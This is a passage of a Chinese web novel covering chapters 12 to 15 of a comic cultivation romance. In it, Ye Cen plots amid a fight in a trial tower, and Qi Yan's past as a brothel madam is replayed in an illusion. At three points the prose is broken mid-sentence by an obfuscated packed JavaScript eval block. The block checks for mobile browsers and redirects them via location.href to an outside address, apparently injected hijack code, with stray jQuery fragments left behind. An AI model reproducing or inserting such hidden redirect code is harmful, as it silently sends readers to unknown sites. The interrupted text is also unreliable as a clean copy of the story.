她一想也是的。修习符箓与阵法,符箓也就算了,多画一些随身带着,还能备不时之需。阵法却比较麻烦,毕竟若是真遇上了突发的险情,险情也不会等人慢吞吞将阵法布置好。 叶岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808949|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自问在修符上有些天分,但也还没到抬手结阵的地步,因此她花了半个月的时间,在一些已有符箓的基础上,改出了一种新的符箓。 她给那符箓起名瀚海符—— 大海,可以容纳百川,可以包容天地星辰,当然也能隐藏阵法。 她将各色的阵法提前画好,全部藏在瀚海符里。 只可惜,她研制出瀚海符的时候,距离门内大比的时间已经很接近,她没有太多的时间与精力,只准备了五百七十三个阵法。 好在她为人谨慎,头一次进浮屠塔,不知自己会遇到什么样的险况,因此那五百七十三个阵法中,也有几个杀伤力巨大的攻击型阵法。 叶岑心中一闪而过一个念头,想,人不为己,天诛地灭,反正大家各怀鬼胎,那么,不妨让她助力一把,帮一帮宋显和戚滟,让他们“两败俱伤”。 而此刻,戚滟的心中也是百转千回。 她方才失了理智,攻向封离时招招凌厉,但都被他一一化去了。 她不是先天的魔修,原本就不擅长近身打斗的,抛开身法的好坏不说,灵力也不太够用,一顿强攻下来,到了此刻,其实已经有点捉襟见肘。 然而已经到了这样的境地,再想要和封离握手言和,显然是不可能的了。 这会儿仔细想来,恐怕封离一开始就没打算与她合作,说的那一番话,只是在戏耍。 可恶。 果然男人的嘴,就是骗人的鬼。 但是她无法再把怒意转为攻击,因为她的灵力有些不够用了。 她想,若是此刻能有一个活人,魔修也好,道修也罢,能让她吸一吸灵气就好了。 这样想着,脑中也是灵光一闪—— 进到三百二十七层来的,除了封离,不是还有一个女修吗? 起先是她过分谨慎,可是经过后来一探,她发现那女修丹田里灵力稀薄,根本就是个小菜鸡。 但是,即便只有那么一点点灵力,总好过没有,她当然还是笑纳。 那可怜的小姑娘,此刻还缩在角落里,想必已经吓得傻掉了吧。 这样想着,戚滟向宋显的攻势一收,抓着烟杆,转而向角落里的叶岑攻去。 宋显察觉到戚滟攻势的转变,瞬间明白了她的意图。 下意识地要上前追去,脚下刚挪了半步,却蓦的一顿。 庾柘要谋划什么复兴魔族的大计,然而人手实在不够,因此求他来救戚滟。 可他根本不在乎魔族复兴不复兴,他只知道,他生平最恨别人对他呼来喝去。 他们要他做什么,他就偏要反着来。 他进浮屠塔,要干的第一件事就是杀了戚滟。 之所以还要带着白涟漪,只是因为她丹田残缺,灵气不稳,能够帮他隐匿踪迹。 但是—— 他想起那日在青云山的山道上,白涟漪引雷杀人的诡异身形。 此女向来行事诡谲,表现得却如同一个愚者,只怕是刻意隐藏实力,也不知究竟有何目的。 正好借此机会,探探她的虚实。 想到这里,他不但停了脚步,连带着攻势也收大大减弱了。 与此同时,原本驻剑守在浮屠塔外闭目养神的裴无衣忽然睁开眼。 他抬头望天。 天上一片晴空,万里无云。 但是很快,墨色的弄晕不知从哪里聚集过来,漆黑一片压向浮屠塔顶,有殷殷的闷雷声在云间窜动,一副蓄势待发的样子。 裴无衣眉心一跳,闭上双目,身为剑修的灵识就以他为中心,像一张巨大的网一般迅速地向四周围铺开去。 片刻后,他猛然睁开眼,脸色更阴沉了几分。 一人一剑站立良久,忽然叹了一口气,用灵气凝出一只苍鹰,摸了摸鹰的脑袋,将它往高空一送,道:“去找云何意。” 苍鹰振翅飞走。 裴无衣面色凝重地看着浮屠塔顶,许久后,却忽然觉得不太对劲。 只见那黑云中孕育出了第一道雷,原本是如紫电一般直直地劈向浮屠塔的,将要劈到塔顶时,却忽然一顿,然后在塔顶盘旋两圈,慢慢又往黑云退去。 不知为何,这只是一道雷,裴无衣却好像看到了它的不甘心。 它慢吞吞地飞向黑云,眼见着要尽数退回去的时候,云层中忽然隆隆作响,紫电恍如获得新生,终于兴奋地、坚定地、直直地劈向了浮屠塔。 13. 第 13 章 叶岑主意既定,心中杀意顿现。 她一边密切注视着战况,一边手上动作不停,在一沓符箓中迅速地挑选起来。 六合阵波及的范围足够大,但是主束缚,杀伤力并不大。 相较之下,绞杀阵一出,定能一击必杀,可惜只能作用在一个人身上,不能同时绞杀两个。 北斗七杀阵倒是杀伤力也够大,波及范围也够广,可这阵法比前两个都要复杂许多,启动需要更长的时间,不是很方便施展。 但是管他呢,到时候就三阵齐开,总有一个能伤到他们的! 叶岑将三张符箓拽在手里,丝毫没有察觉到,非但浮屠塔外的天上聚起墨色的浓云,连她的头顶也罩上一层阴翳,闷雷滚动。 想想还觉得不够保险,又抽了几张爆裂符出来,也一并拽在手里。 叶岑脸上露出狰狞的笑容,心中想,你们就一起去死吧!!! 闷雷声顿时猛烈起来,阴翳中孕育出一道紫电,直奔叶岑头顶。 等等! 叶岑脑中忽然不合时宜地闪过一个想法—— 中,果真没有一个人知道宋显的身份吗? 叶岑指尖蓦的一顿。 眼见着就要劈向她头顶的紫电也蓦的一顿。 ——若是青云门中,实际上早已有人知道了宋显的身份。他们连他魔修的身份都不在乎,还让他做了尘中阁的大师兄,那么,这回他不过是偷偷进了个浮屠塔,最多也不过是被责骂吧。 况且,不管青云门的各位长老们知道与否,论起来,宋显是从小养在山上的、天资卓绝的门中首徒,而她,不过是三个月前刚上山来的一介女修,若是宋显果真在这里出了事,她却好好地出去了,哪怕据实说了塔中发生的事,难道会有人相信吗? 不,绝不能偷袭宋显,不但不能,她还要装傻、抱大腿,甚至助他一臂之力! 随着叶岑心中杀意褪去,那紫电似是有些茫然,在她头顶转了两圈,终是发现自己劈无可劈,十分不情不愿地、慢吞吞地往阴翳里退回去。 对此,叶岑丝毫没有察觉。 她既已做好抱大腿的决定,大腿此刻正与人酣战,她一个腿部挂件,自然没有悠闲旁观的道理。 叶岑拽着手中的符箓,视死如归道:“封大哥!我来帮你!!!!” 说着,作势就要扑上去,脚下却半步也不曾挪动。 ——笑话,两个大魔头互殴,她要是贸然冲上去,岂不是要被秒成渣渣吗? 所谓表忠心,当然是心意到了就够了啊! 果然,戚滟正猛烈攻向宋显,而宋显虽然一路后退,却游刃有余地应付着。 两人听到她的喊声,宋显头也不侧一下,并未打算给她半个眼神,而戚滟也仅是动作一顿,侧头看了她一眼,便…… 靠靠靠靠靠! 便忽然放弃了宋显,转而向她攻来了啊!!!!! 姐姐我只是说说的啊啊啊啊啊啊啊啊!!!要不要这么当真啊!!!?? 你就这么贸然转向我,把后背留给宋显,真的不担心他从背后偷袭你的吗??? 杀你蛇的是他又不是我!!!! 你们修魔的,做事情能不能有始有终一点啊啊啊啊啊啊啊啊!!!!! 叶岑吓得花容失色,好在手上还拽着些符箓与阵法,此刻也来不及挑选,只能一股脑地往前抛。 然而戚滟攻势迅猛,躲也不躲。 她似乎是铁了心要杀叶岑,爆裂符落在她手臂、肩胛、大腿,在她的肌肤上绽出一朵朵鲜红的花,她眉头都不皱一下。 甚至叶岑丢出去藏着六合阵的瀚海符,还未来得及将阵法展开,就被她徒手劈成了渣渣。 这当然也让她受了点伤,却半点不能让她的速度减缓半分。 虽然叶岑周身还有缚灵阵护身,但在如此攻势之下,恐怕也难以抵挡。 叶岑在慌乱之中去看宋显,只见他负手而立,冷眼瞧着戚滟凌厉的攻势,甚至嘴角似乎还挂着一抹淡淡的笑,显然并不打算出手。 ——他一定是怕自己身世的秘密被传开,故而借戚滟的手,好杀人灭口! 青竹蛇儿口,黄蜂尾后针。①两者皆不毒,最毒的,是宋显这个男人的心! 叶岑咬咬牙,顿时恶向胆边生,想,既然你无情,也别怪我无义 她这样想着,左臂一抖,一块魂玉贴着手腕滑到了她的手心。 她原先的魂玉被宋显给缴了,但是芥子囊中还藏着一块备用的,自出了幻境之后,便被她取出来卡在袖口里。 ——那你们就一起死吧! 与此同时,那道就快要退回阴翳的紫电似是突然受到了感召,顿时生龙活虎起来,发出滋滋的电流声,对着叶岑蓄势待发。 眼见着戚滟已经掠到了她的跟前,叶岑额角沁出了汗珠。 但她还有机会。 戚滟一脚踏进她提前画好的缚灵阵,攻势有一瞬间的凝滞。 就是此刻! 叶岑眼疾手快地丢出一张绞杀阵,又去摸下一张瀚海符—— 北斗七杀阵! 此阵一开,保管不论是戚滟,还是宋显,都无处可逃,不死也伤。 而阵法开启的一瞬间,她只消捏碎魂玉,管它劳什子的门内大比,先活下来最重要! 叶岑嘴角挂上一丝不易察觉的笑,自信将瀚海符一抽,笑容顿时凝固了。 她发现,自己抽出来的,又是一张绞杀阵! 可是她分明,只画了一个绞杀阵啊! 那她刚才甩出去的是什么?! 叶岑定睛一看,她丢出去的符箓正正地贴在戚滟的脑门,赫然是一张——引雷符! 可是此处又没什么雷电,那这张引雷符,就是毫无用处啊! 然而,再要抛出绞杀阵,已经来不及了。 这么一迟疑,戚滟已经挣开了缚灵阵,烟杆前端的薄刃。 叶岑呼吸一滞,捏上了魂玉,心中想,只可惜没能把他们俩一起杀死! 下一瞬,塔内雷鸣声起,紫电的亮光骤然放大百倍,将塔内照得宛如白昼,迅猛地劈向叶岑—— 身前的戚滟。 叶岑:“???” 紫电:“???” 戚滟:“???” 宋显:“!!!” 戚滟被劈得焦黑,倒在地上,抽了两抽,奄奄一息。 她不明白,这个女修明明瞧着修为极低,怎会只一招,就有如此巨大的杀伤力。 戚滟瞪着叶岑,一开口气若游丝:“你……用的什么功法?” 叶岑:“我……” 鬼知道这雷是从哪里来的,反正不会是她弄来的,她哪里有这样的本事! 既然不是她叶岑,这里统共就三个人,戚滟是被劈的那个,那么便只剩下了…… 叶岑悟了。 她转过头去,恰对上宋显的视线。 他原本是冷眼旁观,此刻眼中爬上几分狐疑,正探寻地看着她。 叶岑心中一热。 原来,宋显也不是全然冷酷无情! 她暗中使力将魂玉重新卡回袖口,抽噎一声,向宋显奔去,抽噎一声,就要亲昵地去拉宋显的手。 宋显反应很快,躲开。 叶岑抓了个空,也不在意,她微微仰头看着宋显,眼中满是崇拜与感激:“封大哥,谢谢你!方才若不是你救我,我恐怕、”顿了顿,抽噎一声,“恐怕就要命丧于此了!” 叶岑谢得殷勤,除了确实对宋显心存感激,其实也怀了点别的心思。 宋显既然愿意出手救她,那便说明还未完全泯灭人性。那就说明,即便她知晓了他身世的秘密,也不是全然没有生的机会。 叶岑柔柔弱弱地擦眼泪:“封大哥,没想到你们修魔的,也不全然是坏人。” 此时此刻,宋显的心中也十分惊诧——好一个的白涟漪! 那日青云山山道上的几道天雷来得蹊跷,方才他冷眼旁观,就是为了探她的虚实。果然,到了紧要关头,她为了自保,不得不暴露出自己真实的水平。 她分明就是懂得引雷之术,却还要在这装傻充愣,三言两语,就将自己伪装成一朵什么都不会的白莲!其心思不可谓不深沉! 心思深沉的叶岑还要凑上来,轻声道:“宋师兄,我都明白的。” 长长的睫毛干干的,原来一滴泪都没有留,反而眼中全是精光。 宋显冷哼一声:“谁是你师兄?” 叶岑一脸了然:“宋师兄假扮魔修封离,骗得魔修的信任,为的就是让她放松警惕。我早就看出来了,所以方才,我配合师兄声东击西,只为了让她露出破绽,被师兄你一举击杀!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808950|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋显:“?” 叶岑凑上前去,声音更压低了几分,这次只让两人听到:“是师门额外布置的秘密任务吧?师兄放心,我保证不会出去乱说的。” 宋显:“。” 他自进了浮屠塔,一路走来,其实并未打算刻意隐瞒自己的身份。 不过白涟漪愿意装傻,正好省了他的力气。 他于是不置可否,只是又冷哼了一声。 宋显没说话,戚滟却忽然笑了起来。 起先是轻笑,接着笑声一声高过一声,到最后,变成了放肆的大笑。 她笑够了,道:“原来如此。” 她看向宋显时,面上满是嘲讽:“狼崽子从小养在羊堆里,哪里还能长成凶狠的头狼呢?庾柘指着你去复兴魔族,当真是瞎了眼了。也罢、也罢,我到底在魔域做了那么久的长老,也该为魔族做点事……” 她顿了顿,目光忽而变得凶狠起来,“替他们除了你这个心向外人的叛……” 她话未说完,额头上突然被贴上一张黄符,整个人定住不能动弹。 那是一张禁言符,戚滟的嘴巴还在动,声响却半点发不出了。 叶岑不知什么时候站到了她的跟前,指着她骂:“闭嘴吧你,死到临头了还想离间我们师兄妹!我师兄光风霁月,怎可能真是魔族?” 笑死,再让戚滟说下去,她就不能装傻了。 叶岑偷着眼去瞧宋显。 他神色如常,也不知心中作何打算。 叶岑心中顿时有些忐忑,想,若是再有个机会,能让她表表忠心就好了。 正这么想着,宋显忽然看向叶岑身侧。 叶岑正盯着他,注意到他的视线,也侧头去看,却发现戚滟笑得狰狞,无声地结了个印,身上便罩上一层红光。 叶岑眨眨眼,愣了一瞬,猛然反应过来,她这是要自爆啊! 叶岑眼睛顿时亮了亮。 机会这不就来了吗! 她余光瞥见,宋显十分机警,已经身形一晃,向后退了一小步了。 ——绝不可失了这难得的表现机会! 她眼疾手快地往自己心口贴了几张符箓护住心脉与丹田,然后一把拽住正在后退的宋显,打算将他护在怀里:“宋师兄小心——” 叶岑没能将宋显扑倒在地,但是成功阻止了他一个人逃跑。 她伸手去捞宋显的脑袋,试图把他往自己怀里按,而宋显洁身自好、宁死不屈,一伸手点住了她的额心。 两个人就保持住了这么诡异的姿势。 眨眼间红光已经笼过来了,叶岑与宋显躲闪不及,一同被罩了进去。 想象中的疼痛却未袭来。 一瞬间,叶岑只觉得周遭景致飞快变化,接着,耳边似乎响起什么声音,起先小而嘈杂,后面逐渐变得清晰起来,是喈喈钟鼓、袅袅丝竹。 宋显也感受到周遭的变化,但他并不惊慌,只是指尖用了点力,让叶岑离自己更远了些,这才放下心来,目光却落在叶岑的胸口。 叶岑顺着他的目光去看,顿时有些心虚。 她给自己贴了护心符,宋显身上却是没什么保护措施的,即便被她护到怀里,若是那道红光中藏了杀机,反而更容易让他受伤。 但是叶岑脸厚如城墙,面不改色将护心符揭下来:“这是什么时候沾到身上的?哈哈!” 宋显:“。” 宋显懒得与她计较。 两个人一同打量四周环境。 看了一圈,叶岑才发觉他们身处一幢楼中。楼高三层,他们处在二层的走廊上,栏杆边挂着艳红的绸子,从栏杆上望下去,底下一个巨大的台子,正有一个盛装的女子,抱着琵琶在那唱歌。 周围一片温香软玉、姹紫嫣红,甚至还有一些……淫词浪语! ——似乎又是个幻境,而且幻境里的场景还是个花楼! 叶岑与宋显对视一眼,赶紧澄清:“这绝不是我心中渴望的!” 话说完,叶岑看宋显的眼神就变得有些奇怪—— 这既然不是她内心的渴望,入这幻境的又没有别人了,那岂不是说明…… 宋显即时打断她的想入非非,他点着叶岑的脑袋转开她的脸,自己也打量四周:“戚滟未入魔道时,曾在人界的花楼里待过一段时间,这个幻境,应当是她自己的回忆。” 14. 第 14 章 戚滟还不是魔修的时候,是花楼里的花魁娘子。 她年轻的时候生得漂亮,又有一副好嗓子,一弹起琵琶曲,没有人不被迷倒的。 有一句诗怎么说来着?五陵年少争缠头,一曲红绡不知数。① 说的就是戚滟。 花楼里的女孩子,花期都是很短的。寻常歌女,唱到了二十五六岁,年岁上去了,就没什么人来叫座了。 但是戚滟不一样。她十五六岁时,有十五六岁的明丽;到了二十五六岁,又有二十五六岁的美艳。眼波一转,简直勾人心魂。 但是戚滟唱到二十五岁,忽然不唱了。 有人劝她:“旁人想要你这样的皮相,求都求不来。你此刻正有大好的前程,将来遇上哪位大人,说不定就将你赎了去,怎么这时候说不唱了?” 戚滟将白眼一翻,嗤笑:“赎我?谁来赎我?谁配赎我?我那么努力赚钱,难道是为了让男人赎我?” 就把陪了自己多年的琵琶拿出来,断了琵琶弦,砸了琵琶身。 然后拿出自己唱歌多年的积蓄,入股花楼,摇身一变,成了楼里最年轻的老鸨。 戚滟做歌女时,就仗着自己有人气,脾气大,爱拿乔,做了老鸨之后,就更没什么朋友了。 但戚滟觉得无所谓。 她素来知道自己脾气差,在花楼这么多年,没少给自己树敌,每月赚来的钱,分出一部分给自己雇了保镖,然后就自信满满,每天招摇过市,依旧爱怎么发脾气就怎么发脾气。 这天戚滟路过柴房,发现柴房开了一条缝。 她推门进去,瞧见一个大美人双目紧闭地靠在柴堆上。 大美人高贵冷艳,一身白衣上血痕道道,似乎是让鞭子给打的。 戚滟只看一眼,便明白了。 这一定是哪个老鸨买来个好姿色的良家女,想要驯作歌女。可良家女又性子刚烈、抵死不从,所以只好打一顿,关起来,先杀杀她的锐气。 干她们这一行的,遇上这种事是很寻常的。 可是——戚滟睁大了眼打量美人——这美人长得,未免也太好看了吧! 长相还是次要,毕竟卖唱这一行,最不缺的就是长相漂亮的姑娘。 主要是气质。 花楼里的姑娘,美则美矣,因着要讨好前来听曲的顾客,态度总是要卑微些,因此往往美艳中又带了点媚俗。 偏偏此女气质清冷得都有些脱俗,若是往那些妖艳贱货当中一放,必然会是最惹眼的那个。 戚滟舔了舔唇角,想,必须要把她搞到自己手里。 能卖大价钱的。 正当这时,美人睁开了眼。 戚滟浑身一怔。 只见美人眼中白多黑少,竟是一双死鱼眼。 这显得她更加高贵冷艳了! 戚滟心中想,不管她是哪个老鸨手底下的娘子,既然人家已经打了巴掌,又还没来得及给甜枣,此刻正是她的机会。 于是她露出一个和善的笑容,道:“你是谁手底下的姑娘?” 美人并不吭声。 戚滟对此见怪不怪。 这样贞烈的女子,她见得多了。可是做一个贞洁烈女,又有什么好的呢?寻常女子,哪里能像她挣这么多钱! 戚滟很自信,美人只是没有体会过赚钱的快乐。 她继续晓之以理:“其实我们又不是卖身的,你何必这么三贞九烈呢?” 戚滟:“不过你原先的妈妈,下手确实忒狠了些。这么个大美人,打坏了怎么办呢?真是半点不懂怜香惜玉的!要不,你跟了我吧?” 戚滟:“啧,你该不会是个哑巴吧?” 戚滟:“哑巴也没关系啊!”上手在美人脸上摸一把,“你这张脸生得这么好看,跟了我,我可以安排人替你假唱,你在台子上对口型就行了。” 听到这里,美人终于抬了抬眼皮,冷冷地看了她一眼。 一股酥麻感流过戚滟全身。 她在嫌弃她! 她从歌女当到老鸨,习惯了别人眼中的爱慕、痴迷、畏惧,还从没被人嫌弃过! 狠狠心动了! 戚滟心驰神怡,想跟美女进一步套近乎,把手往美女大腿上一搁,谁知道位置没放准,放在了两腿心。 戚滟一愣。 好大。 美人下面好大。 美人眼中杀意顿现。 但是美人并没有杀了戚滟。 因为下一瞬,美人两眼一闭,终于晕了过去。 * 幻境里,叶岑看着戚滟将美人连背带拖弄回自己的房间,然后褪下他的衣服,对着露出的八块齐整的腹肌,一边流着口水,一边给他的伤口上药,不由得抽了抽嘴角。 这次幻境又与先前不同。 先前那次,她成了个小宫娥,有必须的剧情要走,能同幻境中人对话接触。 而这次,她与宋显却如同两道虚幻透明的影子,浮在虚空之中,只能在旁观看,不能横加干涉,幻境里的人也瞧不见他们。 但叶岑想不明白戚滟为什么要把他们放进这样一个幻境。 她看向一旁的宋显:“所以戚滟临死之前,是想告诉我们,她是个大银魔?” 宋显看她宛如看一个傻子:“她修艳鬼道,用幻境杀人,也用幻境自保。方才,是察觉到自己行将就木,所以用一个幻境将自己的神魂包裹起来。神魂不灭,就还有生的机会。现在我们也被拉进了幻境里,要么把她找出来,如果不然,就……” 他说着,忽然顿了顿,目光专注地盯着叶岑。 叶岑叫他看得都有些不好意思起来:“怎、怎么了?” 宋显幽幽道:“方才若不是你拉我,我原本不会被困进这个幻境。” 叶岑:“。” 叶岑苍白地狡辩:“我那不是……关心则乱么……” 宋显:“哦,关心则乱。” 显然是不信。 叶岑想了想,承认:“我确实也有自己的私心,我……” 她顿了顿,似是犹豫了片刻才下定决心:“我想进尘中阁。” 她抬头看宋显,宋显并未露出不虞的神色,只等着她说下去。 叶岑咬咬牙:“我想进尘中阁,但是知道自己水平有限,所以方才,我明明知道师兄躲得开,却还是出手相救,就是想让师兄承我一个情。” 这可是真心话,但也不完全真,这部分是真的,再要深究下去,就没那么真了。 叶岑不敢看宋显,垂着头,只觉得脸颊发烫。 但这副模样,落在宋显眼里,就成了心虚。 良久,宋显终于开口,道:“你进尘中阁,想要做什么?” 果然!他果然这么问了! 好在叶岑早有准备,她霍然抬头,恨声道:“为我惨死的家人报仇!” 她这话说得咬牙切齿,配上刚刚因为撒谎心虚而红起来的脸,显得恨意滔天。 宋显意外地挑挑眉:“报仇?你难道知道是谁灭你满门?” 叶岑:“我不知道,但我一定不会放过他们!” 她想起什么:“对了,那日青云山道上,师兄不还留了个活口去审问吗?我一直没找到机会问,可审出什么了?” ——笑死,她怎么会知道?她刚来到这里时,白家就一个活口也不剩了。 ——这样也就算了,他们还要斩草除根,追杀占着白涟漪身子的她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808951|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋显咳了一声,眼神飘向别处:“哦,他宁死也不肯说,咬舌自尽了。” ——笑死,早就被他给杀了。 叶岑有些遗憾地叹一口气:“可惜了。” 但是很快又振作起来,握紧小拳头挥舞:“但是我总会查到幕后黑手,为我家人报仇的。” ——笑死,杀手都死了,岂不是更好吗?这些日子,她就躲在青城山,等到时候符箓之术大成,她再下山,到时候横着走,还有谁能追杀她? 两个心怀鬼胎的人,各自有了瞬间的沉默。 叶岑想了想,转移话题:“对了,师兄方才说,我们要出幻境,若是找不到艳鬼,结果会怎么样?” 宋显:“不会有这样的结果。” 他重新恢复冷酷无情,嘴角噙着一抹冷笑:“我一定会找到她,然后杀了她。” 叶岑:“哦,那我们现在该如何做呢?” 宋显环视四周:“先看下去吧。” 两人就一同继续看幻境。 这幻境是戚滟的梦境,他们作为过客从旁观看,就如同走马观花,大抵看尽她的前半生,剧情走得飞快,到了这会儿美人出现,才慢了下来。 叶岑疑心破幻境的关键就在这个美人身上。 不过不得不说,戚滟还是凡人的时候,就很有做魔修的潜质了。 她素来是不信怪力乱神的,觉得人死了就是死了,也不怕遭报应,那么在有限的活着的生命里,当然是及时行乐啊! 她的快乐是什么呢?赚钱。 钱从哪里来呢?漂亮姑娘。 所以她抢了大美人,抱进自己的房间里,毫无心理负担。 但是美人有心理负担。 他就算是个男美人,也是个清冷挂的男美人,卖唱,拉不下脸的。 戚滟劝他:“是个男的也没关系,我们这个行业没有性别歧视,男的,我一样可以安排假唱的,到时候人气上来了,你就是我们花楼第一个男花魁!” 美人恶狠狠瞪她一眼,不说话。 戚滟高兴地往他脸上掐一把:“这个眼神好!够辣!这般欲拒还迎,我都心动了,客人一定无法拒绝!” 美人气得吐血。 戚滟大惊失色,拍拍他的背:“哎哎——” 美人吐完血,枕着她的臂弯又晕过去了。 戚滟错愕地抓帕子给美人擦嘴角,擦着擦着,动作不自觉放缓下来。 美人双目紧闭地靠在她怀里,从她的角度望过去,恰能瞧见他过分白皙的一张脸,衬着长睫如扇,鼻梁高挺,以及几缕碎发。而原本显得过淡的唇色,也因为沾上鲜血,而让他清冷之中平添了几分妖艳。 戚滟反应过来的时候,指尖正将美人的唇型描摹过一半,落在他嘴角。 戚滟浑身一震,赶紧将美人推开。 美人脑袋砸在玉枕上,发出“咚”的一声响,她又赶紧将美人扶起来,搂在怀里揉揉他的后脑勺。 心却飞快地跳起来了。 戚滟慌张地想:我怎么紧张起来了?他只不过是我赚钱的工具啊! 这么想着,脸也烫起来了。 戚滟大惊失色,再要把美人推开,这次却只敢小心翼翼地扶着美人的脖颈,将他的脑袋轻放在玉枕上。 然后,她跳开一大步,强压下心中悸动的感觉,对着美人欣慰道:“就是要这样的破碎感,惯会勾引人的。” 又将美人上下打量一遍:“还是太瘦,得给他好好补补。” 然后转身就走,仓皇地要从这里逃离。 走到门口,脚步又一顿,自言自语,也不知要说给谁听:“我难道是为他而心动吗?才不是!我主要是为了补好了身子,好让他早日出台!” 15. 第 15 章 戚滟大手一挥,给美人买了一堆进补的食材,每天变着法给他做十全大补汤。 起先美人反抗很激烈,绝食,就是不松口。 有一天戚滟实在没耐性,往他嘴里怼了一口甜汤圆。 美人满脸写着“你放肆”,但是汤圆已经被怼进了嘴里,只好嚼了两口,咽了下去,然后微微睁大了眼。 戚滟看在眼里,面上不显,心中却得意洋洋。 她的厨艺向来是她所得意的,只是她不轻易替人下厨,若非美人生得这样好看,也是没有这样的福分的。 隔天端来的是一碗蟹黄粥。 美人还是顶着一张厌世脸,看了看粥,最后目光落在戚滟扎了帕子的右手上。 戚滟察觉到他的视线,将手往身后藏了藏。 她是厨艺了得,但是许久没有处理螃蟹,大意了。 从那天之后,美人学会了自己吃饭。 戚滟起先还有些提心吊胆,担心她偷了美人,迟早被买他的人察觉。 但是美人在她房中一呆就是半个月,并没有什么人找上门来。 戚滟想,大家各凭本事,她已经靠精湛的厨艺抓住了美人的胃,再要抓住他的心,也就是时间长短的事情,即便有人找上门来,她像以前一样,雇人把对方做了不就行了吗? 这样一想,悬着的心也便放下来了。 戚滟的房间在花楼的最北面,这是她刻意给自己挑的。 因为花楼北边挨着的是个贡院,从她的房间一推开窗户,便能看到少年人们在那里埋头苦读,心里眼里梦里都是金榜题名的梦。 戚滟是风月场上的人,不懂什么金榜题名的宏图伟业,她只知道,书生最是古板,一点禁不得逗,撩拨两句,脸就要从耳朵尖开始红。 于是她不论饭前娱乐还是饭后消遣,总喜欢逗书生。 这天也是风情万种倚着窗框调戏书生的一天。 戚滟:“都说书中自有颜如玉,小书生,你那书中的颜如玉,比我如何?” 戚滟举着烟杆子轻笑:“想必是不如我的吧。不然,你为什么敢盯着书看,却不敢直视我呢?” 身后美人正端起一碗豆腐脑,闻声将碗往桌上狠狠一怼,发出巨大的声响。 戚滟回过头去,美人阴沉着一张脸:“太甜腻了,我不爱吃。” 戚滟:“……神经病啊!你不是向来爱吃甜的吗?” 美人:“豆腐脑我就是要吃咸的。” 美人顿了顿:“还要加葱花,要不然我不吃的。” 戚滟:“……” 戚滟:“什么毛病……” 忽而一愣,反应过来:“你不是个哑巴?” 美人掀起眼皮:“谁说我是个哑巴?” 他说着从床上起身,走到窗边,先往窗外看了一眼。 书生被撩拨得面红耳赤,正抬起头来,对上美人的视线,看他一张脸好看得雌雄莫辨,脸更红了几分,却见美人的神情忽而变得凶神恶煞。 美人:“看什么看?非礼勿视不晓得的吗?还是个读书人!” 说着将窗重重一关,低头对上戚滟错愕的视线。 美人:“我身子还没好,开着窗吹了风,病情要加重的。” 说完,一把捏住戚滟的后颈,拽着她就要走。 戚滟这时才终于反应过来,抱住美人的胳膊:“做、做什么?” 美人拖着戚滟往外走:“当然是给我重新做豆花去。我吃不到想吃的东西,是不会唱歌的。” 戚滟一愣:“你想唱歌了?” 美人脚步忽而一顿,放开戚滟,答非所问道:“你想我唱吗?” 他脚步停得突然,又是猝然回身,戚滟始料未及,反应过来时,已经撞了美人满怀。 她仓皇抬头,正对上美人的视线。 一双白多黑少的眼中,此刻竟氤氲着别样的情绪,因此瞧着格外勾人心魂。 戚滟心头狠狠一跳,一向伶牙俐齿的人,说话都磕巴了:“唱、唱啊!” 她把眼神错开去,梗着脖子道:“我好吃好喝养着你,不就盼着你替我赚钱吗?不能出台的人,我还养着做什么?” 又强调一遍:“必然要唱歌的呀!” 她说完,红着脸就往外跑了。关门时的力道极大,把门板甩得吱嘎吱嘎响。 美人留在原地,半晌后,眼中悄然爬上一抹促狭。 叶岑作为旁观者,正看得专注,冷不丁耳旁一个声音道:“你脸红什么?” 她侧头,视线里猝不及防撞进一双星目。 那是宋显的眼。 美人生着一双死鱼眼,若是含上什么情绪,那是动了真情。而宋显不一样,他的眼神比一般人都亮一些,不论瞧着什么,都是天生的含情眸。 叶岑心头猛地一跳,猛然提高了声音:“我哪里脸红了?我根本一点也不害羞,怎么可能会脸红啊!而且我根本没有在笑!有什么好笑的?” 宋显让她吓了一跳:“谁说你害羞了?突然这么大声干什么?” 顿了顿,含情眸移到她的嘴角边,补充:“还笑得这样猥琐。” 就板着脸侧过身去,继续往下看。 叶岑:“……” 摸了摸嘴角,才发觉自己果真在笑。 美人终于彻底养好了身子,大概是在半月之后。 戚滟摆酒庆贺,拉着美人开了个雅间,几杯酒下去,自己先喝了个酩酊大醉。 她拉着美人的手,又哭又笑,说话都是颠三倒四的:“从明天起,你就是我们花楼里最漂亮的姑娘。最漂亮的姑娘,可以赚最多的钱。” 